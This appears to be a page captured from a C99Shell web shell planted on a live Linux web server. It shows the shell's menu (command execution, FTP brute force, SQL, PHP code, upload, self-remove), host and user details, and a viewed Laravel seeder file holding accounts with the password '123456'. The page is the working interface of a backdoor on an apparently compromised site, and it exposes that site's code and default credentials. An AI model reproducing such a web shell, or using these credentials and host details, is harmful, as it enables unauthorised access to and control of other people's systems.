!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/database/seeders/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     UserSeeder.php (2.23 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Database\Seeders;

use 
App\Models\User;
use 
App\Models\UserPlan;
use 
Illuminate\Database\Seeder;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Hash// For bcrypt
use Illuminate\Support\Carbon;
use 
Spatie\Permission\Models\Role;

class 
UserSeeder extends Seeder
{
    public function 
run()
    {
        
$data = [
            [
                
'name' => 'Alex Johnson',
                
'email' => 'alex@gmail.com',
                
'password' => bcrypt('123456'),
                
'restaurant_id' => 2,
                
'type' => 'restaurant_owner',
                
'status' => 'approved',
                
'picture' => 'default_profile.png',
                
'email_verified_at' => Carbon::now(),
                
'created_at' => Carbon::now(),
                
'updated_at' => Carbon::now(),
            ],
            [
                
'name' => 'Marteen Golf',
                
'email' => 'golf@gmail.com',
                
'password' => bcrypt('123456'),
                
'restaurant_id' => 3,
                
'type' => 'restaurant_owner',
                
'status' => 'approved',
                
'picture' => 'default_profile.png',
                
'email_verified_at' => Carbon::now(),
                
'created_at' => Carbon::now(),
                
'updated_at' => Carbon::now(),
            ],
            [
                
'name' => 'Sophie Lane',
                
'email' => 'customer@gmail.com',
                
'password' => bcrypt('123456'),
                
'restaurant_id' => null,
                
'type' => 'customer',
                
'status' => 'approved',
                
'picture' => 'default_profile.png',
                
'email_verified_at' => Carbon::now(),
                
'created_at' => Carbon::now(),
                
'updated_at' => Carbon::now(),
            ],
        ];

        
User::insert($data);

        
$owners User::where('type''restaurant_owner')->get();
        
$customer User::where('type''customer')->first();

        
$ownerRole Role::findOrCreate('restaurant_owner');
        
$customerRole Role::findOrCreate('customer');

        foreach (
$owners as $owner) {
            
$owner->assignRole($ownerRole);
        }

        if (
$customer) {
            
$customer->assignRole($customerRole);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--